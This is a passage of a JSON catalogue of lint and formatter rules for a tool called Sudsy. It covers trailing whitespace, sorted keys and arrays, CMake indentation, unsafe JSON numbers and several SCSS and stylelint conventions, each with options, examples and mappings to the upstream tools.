      ],
      "why": "A line comment is the plain form for a short note. A block comment on one line is usually left over from a longer comment, and the next edit adds a second line inside it.\n\nTo fix, use `// text`; the fix does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports spaces or tabs at the end of a line, from the first one to the line break. Tokens of the kinds the option `ignore_kinds` names (Markdown's fenced code) are not looked at, and `hard_break_spaces` allows Markdown's two-space line break.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p>text   \n</p>\n<p>fine</p>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 3,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-trailing-whitespace",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": [],
          "description": "Kinds of tokens whose trailing white space is not reported (the code of a fence).",
          "name": "ignore_kinds",
          "type": "list"
        },
        {
          "default": 0,
          "description": "With a value above 0, that many spaces or more at the end of a line that the next non-blank line follows are a hard line break and not reported (Markdown: 2).",
          "name": "hard_break_spaces",
          "type": "int"
        }
      ],
      "presets": [
        "html/html-validate-recommended",
        "cmake/cmake-lint",
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "C0303",
          "partial": false,
          "tool": "cmake-lint"
        },
        {
          "id": "no-trailing-spaces",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-trailing-spaces"
        },
        {
          "id": "no-trailing-whitespace",
          "note": "also reported inside pre and raw text",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-trailing-whitespace.html"
        },
        {
          "id": "trailing-spaces",
          "note": "Also reports inside block scalars, where the content is data and the formatter keeps it.",
          "partial": true,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.trailing_spaces"
        }
      ],
      "why": "Trailing white space cannot be seen, adds nothing, and many editors strip it, so a later edit shows a change on a line the author did not touch and makes diffs and blame noisy.\n\nTo fix, delete it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Removes a return type that the language gives every function with a block body anyway (`fun f(): Unit { }` in Kotlin; the types come from the option `redundant_return_types`). The functions are those with a block body, the type is the one after the colon that follows the parameters. The rule works in the formatter, which applies it when it is on (Kotlin has it on); `sudsy lint` makes no report for it.",
      "fix": "safe",
      "id": "redundant-return-type",
      "languages": [
        "all"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "The type says nothing the reader does not already know, and it makes the signature longer. `Unit` is what a block body returns when it has no `return` of a value.\n\nTo fix, delete the colon and the type; the formatter does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the items of a sequence that are not in order, for sequences of only strings or only numbers (ascending by default; numbers compare as numbers). A sequence of other or mixed items is skipped. The fewest items that would have to move are reported, and the first report carries the fix. The fix is unsafe: the order of a sequence can be data. Options: `direction`, `compare` (`ordinal`, `case_insensitive`, `natural`), `min_values` (default 2), `blank_line_groups` and `path_patterns` (only the sequences whose key path matches one).",
      "example": {
        "config": "sorted-array-values:\n  level: warn\n  options:\n    direction: desc\n",
        "fixed": "[\"c\", \"b\", \"a\"]\n",
        "input": "[\"a\", \"c\", \"b\"]\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 3,
            "line": 1
          }
        ]
      },
      "fix": "unsafe",
      "id": "sorted-array-values",
      "languages": [
        "all"
      ],
      "options": [
        {
          "choices": [
            "asc",
            "desc"
          ],
          "default": "asc",
          "description": "`asc` or `desc`.",
          "name": "direction",
          "type": "string"
        },
        {
          "choices": [
            "ordinal",
            "case_insensitive",
            "natural"
          ],
          "default": "ordinal",
          "description": "`ordinal` (code points), `case_insensitive`, or `natural` (digit runs compare as numbers: `a2` before `a10`).",
          "name": "compare",
          "type": "string"
        },
        {
          "default": 2,
          "description": "Sequences with fewer items are not checked.",
          "name": "min_values",
          "type": "int"
        },
        {
          "default": false,
          "description": "Sort each run of entries between blank lines on its own.",
          "name": "blank_line_groups",
          "type": "bool"
        },
        {
          "default": [],
          "description": "Regular expressions; only mappings (sequences) whose key path matches one are checked. The path is `a.b[0].c` (`[\"odd key\"]` for keys that are not identifiers), empty for the root; none listed means everywhere. A TOML table counts as its header key and an array table is not indexed.",
          "name": "path_patterns",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "jsonc/sort-array-values",
          "note": "one ordering per rule configuration (ESLint takes a list of {pathPattern, order} entries with different orders per path; use `overrides` per file instead); no `key` (sort objects by a property), no explicit value lists or `valuePattern`, mixed or non-scalar arrays are skipped, report positions when several equally short moves exist",
          "partial": true,
          "tool": "eslint-plugin-jsonc",
          "url": "https://ota-meshi.github.io/eslint-plugin-jsonc/rules/sort-array-values.html"
        },
        {
          "id": "reorder_arrays",
          "note": "Taplo sorts only values not separated by blank lines; the rule sorts the whole array.",
          "partial": true,
          "tool": "taplo"
        }
      ],
      "why": "A list that is kept sorted is easy to scan and to merge: new entries go to one place, and two branches that add different entries rarely conflict. The rule only makes sense where the order is not data, so it is off by default.\n\nTo fix, sort the items, or turn the rule off for that list with `path_patterns`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the keys of a mapping that are not in order (alphabetical by default). By default the fewest keys that would have to move are reported (`report: moved`), `misplaced` reports every key that sorts before one above it. The first report carries the fix. Comments on lines of their own stay where they are and a comment after an entry moves with it. Options: `order` (keys that come first), `direction`, `compare` (`ordinal`, `case_insensitive`, `natural`), `ignored_keys`, `min_keys` (default 2), `blank_line_groups`, `path_patterns` and `has_properties` (only mappings that have all of these keys). The fix is unsafe: moving a YAML anchor below its alias breaks the document.",
      "example": {
        "config": "sorted-keys:\n  level: warn\n  options:\n    blank_line_groups: true\n",
        "fixed": "{\n  \"a\": 2,\n  \"b\": 1,\n\n  \"c\": 4,\n  \"d\": 3\n}\n",
        "input": "{\n  \"b\": 1,\n  \"a\": 2,\n\n  \"d\": 3,\n  \"c\": 4\n}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 3,
            "line": 2
          },
          {
            "column": 3,
            "length": 3,
            "line": 5
          }
        ]
      },
      "fix": "unsafe",
      "id": "sorted-keys",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": [],
          "description": "Keys that come first, in this order; the rest follow in the configured order.",
          "name": "order",
          "type": "list"
        },
        {
          "choices": [
            "asc",
            "desc"
          ],
          "default": "asc",
          "description": "`asc` or `desc`.",
          "name": "direction",
          "type": "string"
        },
        {
          "choices": [
            "ordinal",
            "case_insensitive",
            "natural"
          ],
          "default": "ordinal",
          "description": "`ordinal` (code points), `case_insensitive`, or `natural` (digit runs compare as numbers: `a2` before `a10`).",
          "name": "compare",
          "type": "string"
        },
        {
          "default": [],
          "description": "Regular expressions; matching keys stay where they are and are not compared.",
          "name": "ignored_keys",
          "type": "list"
        },
        {
          "default": 2,
          "description": "Mappings with fewer keys are not checked.",
          "name": "min_keys",
          "type": "int"
        },
        {
          "default": false,
          "description": "Sort each run of entries between blank lines on its own.",
          "name": "blank_line_groups",
          "type": "bool"
        },
        {
          "default": [],
          "description": "Regular expressions; only mappings (sequences) whose key path matches one are checked. The path is `a.b[0].c` (`[\"odd key\"]` for keys that are not identifiers), empty for the root; none listed means everywhere. A TOML table counts as its header key and an array table is not indexed.",
          "name": "path_patterns",
          "type": "list"
        },
        {
          "default": [],
          "description": "Only mappings that have all of these keys are checked.",
          "name": "has_properties",
          "type": "list"
        },
        {
          "choices": [
            "moved",
            "misplaced"
          ],
          "default": "moved",
          "description": "Which keys are reported. `moved`: the fewest keys that would have to move (eslint-plugin-jsonc). `misplaced`: every key that sorts before one above it (yamllint).",
          "name": "report",
          "type": "string"
        }
      ],
      "presets": [
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "assist/source/useSortedKeys",
          "note": "no groupByNesting; natural order is not guaranteed identical to Biome's for non-ASCII keys (unverified)",
          "partial": true,
          "tool": "Biome",
          "url": "https://biomejs.dev/assist/actions/use-sorted-keys/"
        },
        {
          "id": "jsonc/sort-keys",
          "note": "one ordering per rule configuration (ESLint's list of entries with different orders per path: use `overrides` per file); no per-key `keyPattern` orders and no `ignore` order type (`ignored_keys` is the closest); report positions when several equally short moves exist",
          "partial": true,
          "tool": "eslint-plugin-jsonc",
          "url": "https://ota-meshi.github.io/eslint-plugin-jsonc/rules/sort-keys.html"
        },
        {
          "id": "alphabetize",
          "note": "Upstream picks the kinds to sort (fields, values, selections, variables, arguments, definitions) and a `groups` order; sorted-keys has no per-kind switch and does not sort definitions.",
          "partial": true,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/alphabetize"
        },
        {
          "id": "reorder_keys",
          "note": "Taplo sorts only keys not separated by blank lines; the rule sorts the whole table.",
          "partial": true,
          "tool": "taplo"
        },
        {
          "id": "reorder_inline_tables",
          "note": "A lint rule, not a formatter option.",
          "partial": true,
          "tool": "taplo"
        },
        {
          "id": "key-ordering",
          "note": "no locale collation: yamllint's global `locale` uses the C library's collation; Sudsy offers `compare: ordinal | case_insensitive | natural` instead",
          "partial": true,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.key_ordering"
        },
        {
          "id": "key-ordering.ignored-keys",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.key_ordering"
        }
      ],
      "why": "Keys in a fixed order are quick to look up, and two branches that add different keys to a sorted file rarely conflict. The order of a mapping is usually not data, but where a tool reads it (a build order, a dependency list that is applied top down) the rule should be limited with `path_patterns` or turned off.\n\nTo fix, sort the keys; the fix does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports more than `max` blank lines (default 1) right before a top-level statement (a direct child of the file that starts its line). The first statement of a file may have one more. Block arms and closers of the language (`else`, `endif`) are not checked. A line with only white space counts as blank. The finding is on the first token of the statement.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\n\nset(a 1)\n\nset(b 2)\n\n\nset(c 3)\nif(x)\n\n\nelse()\n\n\nendif()\n",
        "language": "cmake",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 3,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "statement-blank-lines",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": 1,
          "description": "The longest run of blank lines allowed before a statement.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [
        "cmake/cmake-lint"
      ],
      "upstream": [
        {
          "id": "C0305",
          "partial": false,
          "tool": "cmake-lint"
        }
      ],
      "why": "A run of blank lines is a visual gap that separates parts of a file. One blank line separates statements well, and more leave holes that make the file look as if something is missing.\n\nTo fix, delete the extra blank lines."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a statement, the closing parenthesis of a multi-line statement or a comment between statements that is not at the column that its block depth gives (depth times `size`, default 2) in a language whose files are a flat list of commands with block words such as `if` and `endif` (CMake). With `allow_unindented` a token in column 0 is accepted at any depth. A comment between statements may sit at the depth of the statement before or after it. The fix rewrites the white space before the token.",
      "example": {
        "config": null,
        "fixed": "if(A)\n  set(x 1)\n  # fine: the depth of the body\nelse()\n  foreach(i a b)\n    message(STATUS\n      ${i}\n    )\n  endforeach()\nendif()\n",
        "input": "if(A)\n    set(x 1)\n  # fine: the depth of the body\nelse()\n  foreach(i a b)\n    message(STATUS\n      ${i}\n    )\n  endforeach()\nendif()\n",
        "language": "cmake",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "statement-indent",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": 2,
          "description": "Columns per block depth.",
          "name": "size",
          "type": "int"
        },
        {
          "default": false,
          "description": "Accept a token at column 0 whatever its depth.",
          "name": "allow_unindented",
          "type": "bool"
        }
      ],
      "presets": [
        "cmake/cmake-lint"
      ],
      "upstream": [
        {
          "id": "C0307",
          "partial": false,
          "tool": "cmake-lint"
        }
      ],
      "why": "In a flat list of commands the indentation is the only sign of the blocks, because nothing but the block words delimit them. When it is wrong the reader sees a different nesting than the one that runs.\n\nTo fix, indent to the block depth; the fix does it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a comment that disables rules of another tool (`# rubocop:disable Foo/Bar`) by a `Group/Name` whose group the tool does not have, for example the group of an extension that is not installed. A name inside a known group is not checked (the groups are listed in the grammar's `suppress directive-group` rows).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          8,
          9,
          10,
          14,
          16,
          21,
          25,
          28
        ],
        "spans": [
          {
            "column": 1,
            "length": 25,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "unknown-rule-in-directive",
      "languages": [
        "all"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/CopDirectiveSyntax",
          "note": "only the unknown department of a cop name; not the other malformed directives or an unknown cop of a known department",
          "partial": true,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintcopdirectivesyntax"
        }
      ],
      "why": "A directive with a group the tool does not have does not suppress what the author expects, so the finding stays or the directive is ignored. It is usually a typo in the group name or an extension that is missing in the project.\n\nTo fix, correct the name, or install the extension."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a number that a double-precision parser (JavaScript and most JSON libraries) cannot hold exactly: an integer beyond 2^53 - 1, a value that overflows to infinity, or one that underflows to zero or is subnormal.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "[9007199254740991, 9007199254740992, -12345678901234567890, 1e999, 1e-999, 5e-324, 0, 0.0e5, 1.5, 12345678901234567890.5]\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 20,
            "length": 16,
            "line": 1
          },
          {
            "column": 38,
            "length": 21,
            "line": 1
          },
          {
            "column": 61,
            "length": 5,
            "line": 1
          },
          {
            "column": 68,
            "length": 6,
            "line": 1
          },
          {
            "column": 76,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "unsafe-numbers",
      "languages": [
        "json"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "nursery/noJsonUnsafeValues",
          "note": "lone UTF-16 surrogates in strings are not reported",
          "partial": true,
          "tool": "Biome",
          "url": "https://biomejs.dev/linter/rules/no-json-unsafe-values/"
        }
      ],
      "why": "JSON allows any number of digits, but most parsers read numbers as 64-bit floating point. A large integer such as an id then changes silently (`12345678901234567890` becomes `12345678901234567000`), and `1e999` becomes infinity, so the receiver sees a different value from the one that was written.\n\nTo fix, write the value as a string."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the alpha value of `rgb()`, `hsl()`, `hwb()`, `lab()`, `lch()`, `oklab()`, `oklch()` or `color()` written as a number (`/ 0.5`), also the fourth argument of the comma form of `rgba()` and `hsla()`, on the function name. A percentage is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: rgba(0, 0, 0, 0.5); }\nb { color: rgb(0, 0, 0); }\nc { color: rgba(0 0 0 / 50%); }\nd { color: rgb(0 0 0 / 0.5); }\ne { color: hsl(120deg 50% 50%); }\nf { color: hsl(120, 50%, 50%); }\ng { color: hsla(120 50% 50% / 50%); }\nh { color: rgb(0 0 0 / 50%); }\ni { color: hsl(120 50% 50% / 0.5); }\nj { color: rgb(var(--x), 0.5); }\nk { color: rgb(var(--x) / 0.5); }\nl { color: oklch(50% 0.2 120); }\nm { color: oklch(50% 0.2 120deg / 50%); }\nn { color: rgb(0 0 0); }\no { color: hsla(var(--h), var(--s), var(--l), 1); }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          6,
          7,
          12
        ],
        "spans": [
          {
            "column": 12,
            "length": 4,
            "line": 1
          },
          {
            "column": 12,
            "length": 3,
            "line": 4
          },
          {
            "column": 12,
            "length": 3,
            "line": 9
          },
          {
            "column": 12,
            "length": 3,
            "line": 11
          },
          {
            "column": 12,
            "length": 4,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "alpha-value-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "alpha-value-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/alpha-value-notation"
        }
      ],
      "why": "An alpha value can be a number or a percentage, and a file that mixes both makes the reader convert in the head: `0.5` and `50%` are the same. The rule keeps one notation, the percentage, which reads as a share of opacity and matches how the channels of `hsl()` are written.\n\nTo fix, write `/ 50%` instead of `/ 0.5`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `@extend` of anything but a placeholder selector (`%name`); a selector with interpolation is not reported.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          12,
          15
        ],
        "spans": [
          {
            "column": 3,
            "length": 11,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "at-extend-no-missing-placeholder",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/at-extend-no-missing-placeholder",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-extend-no-missing-placeholder/README.md"
        }
      ],
      "why": "Extending a class or an element rewrites every selector that mentions it, so one `@extend` can add many selectors to the output and change the cascade of rules that are far from it. A placeholder exists only to be extended, so the effect is local.\n\nTo fix, extend a placeholder, or use a mixin."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@function` whose name does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          3,
          4,
          7,
          9,
          12,
          15
        ],
        "spans": [
          {
            "column": 11,
            "length": 4,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "at-function-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a function name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/at-function-pattern",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-function-pattern/README.md"
        }
      ],
      "why": "A naming convention for Sass functions keeps them predictable, so one can be guessed and searched for. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `@if` that compares with `null` (`== null`, `!= null`).",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          9,
          12
        ],
        "spans": [
          {
            "column": 3,
            "length": 26,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "at-if-no-null",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/at-if-no-null",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-if-no-null/README.md"
        }
      ],
      "why": "In Sass `null` and `false` are falsy and everything else is truthy, so `$a == null` is written more directly as `not $a`, and `$a != null` as `$a`. The shorter form also treats `false` the way a condition does.\n\nTo fix, use `@if not $a` or `@if $a`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `@include` of a mixin with empty parentheses (`@include foo()`). A `using (...)` clause after them is not reported.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          3,
          4,
          5,
          9,
          12,
          15
        ],
        "spans": [
          {
            "column": 3,
            "length": 15,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "at-mixin-argumentless-call-parentheses",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/at-mixin-argumentless-call-parentheses",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-mixin-argumentless-call-parentheses/README.md"
        }
      ],
      "why": "Sass allows `@include foo` and `@include foo()` for a mixin without arguments. Empty parentheses add noise and suggest arguments that are not there.\n\nTo fix, delete the `()`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@mixin` whose name does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          3,
          5,
          7,
          9,
          12,
          15
        ],
        "spans": [
          {
            "column": 8,
            "length": 6,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "at-mixin-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a mixin name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/at-mixin-pattern",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-mixin-pattern/README.md"
        }
      ],
      "why": "A naming convention for mixins keeps them predictable, so one can be guessed and searched for. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an at-rule that is not in the `list` option (a vendor prefix is left out of the name). An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "at-rule-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed at-rules, without `@`: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "at-rule-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/at-rule-allowed-list"
        }
      ],
      "why": "A project can limit the at-rules of its stylesheets, for example to keep `@import` out of a bundle. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the condition of an `@if`, `@else if` or `@while` that is written in parentheses (`@if ($a == 1)`).",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          9,
          15
        ],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "at-rule-conditional-no-parentheses",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/at-rule-conditional-no-parentheses",
          "partial": false,
          "tool": "stylelint-scss",
